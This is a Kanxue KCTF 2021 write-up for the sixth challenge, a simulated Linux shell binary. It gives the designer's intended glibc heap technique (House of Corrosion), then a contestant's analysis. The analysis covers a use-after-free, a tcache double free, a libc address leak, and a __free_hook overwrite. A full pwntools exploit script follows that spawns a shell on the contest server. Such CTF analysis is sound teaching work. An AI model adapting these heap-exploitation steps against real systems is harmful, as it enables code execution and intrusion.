首页
论坛
课程
招聘

看雪·众安 2021 KCTF 秋季赛 | 第六题设计思路及解析

2021-12-01 18:55


看雪·众安 2021 KCTF秋季赛的第六题《窥伺者谁》已于今天中午12点截止答题,经统计,本题围观人数多达1080人,共计6支战队成功破解。



恭喜v3r1t4s501用时19720秒拿下“一血”,接下来和我一起来看看该赛题的设计思路和相关解析吧~



出题团队简介


第六题《窥伺者谁》出题方 天汉安全团队:



战队成员如下:




赛题设计思路


功能描述


程序实现了一个linux系统的命令系统,能够创建文件和文件夹、销毁文件和文件夹、进入某个目录写入文件等,类似于一个菜单题。


程序的输出字符均有有效字符检查,禁止输出不可见字符。


考点


house of Corrosion(https://github.com/CptGibbon/House-of-Corrosion)

House of Corrosion 是一种针对glibc2.27跟glibc2.29的堆利用技术。


前提条件

  • 需要一个UAF漏洞

  • 可以分配较大的堆块(size <=0x3b00)

  • 不需要任何泄露


主要攻击步骤


具体参考

  • 通过爆破4bit,改写bk进行unsortedbin attack 改写global_max_fast变量

  • 结合堆风水技术,通过UAF漏洞以及fastbin corruption去篡改stderr文件流对象

  • 触发stderr得到shell


漏洞点


func_rm() 函数中,释放文件或目录的节点结构和缓冲区。此外,被释放的节点通过 unlink_node()函数与其父节点解除链接,当释放得目标与不在当前目录下时,就会不允许unlink_node()函数,进而导致UAF漏洞。但是用户的输入经过限制,无法输出不可见字符等,无法泄露信息。


其他见附件(https://bbs.pediy.com/thread-270174.htm)



赛题解析


本赛题解析由看雪论坛xi@0ji233给出:


题目分析


题目模拟了一个手写的shell。

 

里面的文件系统可以分为3个结构体,name,data,text,目录具有name和data,普通文件具有三个,结构体大致如下:

struct name{    char file_name[0x20];};struct data{    long long is_not_dir;    data *pre_dir;//文件这里标为1,目录标为0    data *son[16];//普通文件这里不使用    name *file_name;    text *file_data;//目录不具有此项目}struct text{    char text[?];}


主要是有一个uaf的漏洞,如果创建文件夹在里面创建文件之后写内容的话,在文件夹的外面删掉这个文件会导致里面的text堆块被free,但是不清空指针。由于是2.27的libc,可以直接在tcache 中double free实现任意申请。

 

由于各种保护拉满,所有地址都未知,那么此时必须先想办法泄露出libc的地址,如果能泄露出libc的地址,那么可以直接double free 劫持free hook去getshell。


能输出堆块上内容的基本就一个ls指令,但是它在输出之前会check目录名是否合法,合法的条件基本就是,肯定屏蔽了特殊字符和不可打印的那些字节的,如果要泄露出一个地址那么必定是会含有这些字节的。但是我注意到了echo函数,echo函数的非重定向选项会先strlen一遍那个sysbuf然后根据这个长度去泄露,并不会check上面的字节。


如果我在上面带上了libc的地址那么就可以开心地泄露了。但是它这个读非常的安全,遇到\n才会截止输入并且那个\n最后会变成\0,那么唯一的绕过方法就是直接读它个0x5000的数据,然后后面放上libc的地址就可以泄露了。

 

那么我先double free,然后再在sysbuf上面的最后八个字节伪造成一个size,再让指针指向它free,这样等会填充0x5000个字节的时候后面直接会出现libc的地址。由于这是2.27的版本,构造unsorted bin必须要先填满tcache,且进入unsorted bin的话会对前后堆块check,所以这里我们为了check大小刚好构造为0xf1大小,然后此时再创建7个文件,并让他的text堆块对应0xf1的大小并一一删除填满tcache。这样的话free那个堆块进入unsortedbin之后就会携带libc的地址了。

 

需要注意,因为只有最后三位偏移固定,所以double free之后要爆破半个字节才能成功指到对应的地方去free。free之后就非常简单,直接在sysbuf上填写0x5000个字符然后echo直接输出就可以泄露出那个地址了。泄露出来了之后就很简单了,故技重施,double free劫持free_hook位system,然后删除一个带有/bin/sh字符串的文件就可以愉快地getshell了。


exp

from pwn import *#context.log_level='debug'context.arch='amd64'context.os='linux'libc_version='2.27' global pdef conn(x,file_name,port=9999,ip='101.35.172.231'):     if x:        p=process(file_name)    else:        p=remote(ip,port)    return ELF(file_name),ELF(file_name),p def ls(name):    p.sendlineafter(b'$',b'ls')    p.sendlineafter(b'path> ',name) def mkdir(name):    p.sendlineafter(b'$',b'mkdir')    p.sendlineafter(b'name',name) def rm(name):    p.sendlineafter(b'$',b'rm')    p.sendlineafter(b'filename> ',name) def cd(name):    p.sendlineafter(b'$',b'cd')    p.sendlineafter(b'path> ',name) def echo(msg,red,path=b'./'):    p.sendlineafter(b'$',b'echo')    p.sendafter(b'arg>',msg)    p.sendlineafter(b'redirect?>',red)    if red==b'Y' or red==b'y':        p.sendlineafter(b'path> ',path) def touch(name):    p.sendlineafter(b'$',b'touch')    p.sendlineafter(b'filename> ',name)  def pwn():    global p    elf,libc,p=conn(0,'./chall',port=10000)    libc=ELF('./libc.so.6')    mkdir(b'dir')    cd(b'dir')    touch(b'flag')    echo(b'a'*0x10+b'\n',b'y',b'flag')    cd(b'..')    for i in range(2):        rm(b'./dir/flag')    gdb.attach(p)    echo(p16(0x3260)+b'\n',b'y','dir/flag')     touch(b'flag1')    echo(b'a'*0x4ff8+p64(0xf1),b'n')     echo(b'a'*8+b'\n',b'y',b'flag1')    touch(b'flag2')    touch(b'flag3')    touch(b'flag4')    gdb.attach(p)    echo(b'/bin/sh\0'+b'\n',b'y',b'flag2')    for i in range(7):        touch(str(i))        echo(b'a'*0xe0+b'\n',b'y',str(i))    for i in range(7):        rm(str(i))     rm(b'flag2')    echo(b'a'*0x5000,b'n')    #p.recvuntil(b'\x7f')    libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']    success('libc_addr:'+hex(libc_addr))    rm('dir/flag')    echo(p64(libc_addr+libc.sym['__free_hook'])+b'\n',b'y',b'dir/flag')    echo(b'/bin/sh\n',b'y',b'flag3')    echo(p64(libc_addr+libc.sym['system'])+b'\n',b'y',b'flag4')    rm(b'flag3')       #gdb.attach(p)    p.interactive()while True:    try:        pwn()    except:        continue



往期解析


1、看雪·众安 2021 KCTF 秋季赛 | 第二题设计思路及解析


2、看雪·众安 2021 KCTF 秋季赛 | 第三题设计思路及解析


3、看雪·众安 2021 KCTF 秋季赛 | 第四题设计思路及解析


4、看雪·众安 2021 KCTF 秋季赛 | 第五题设计思路及解析




第七题《声名远扬》正在火热进行中,

还在等什么,快来参赛吧!




- End -



公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com



声明:该文观点仅代表作者本人,转载请注明来自看雪专栏
最新评论 (0)
登录后即可评论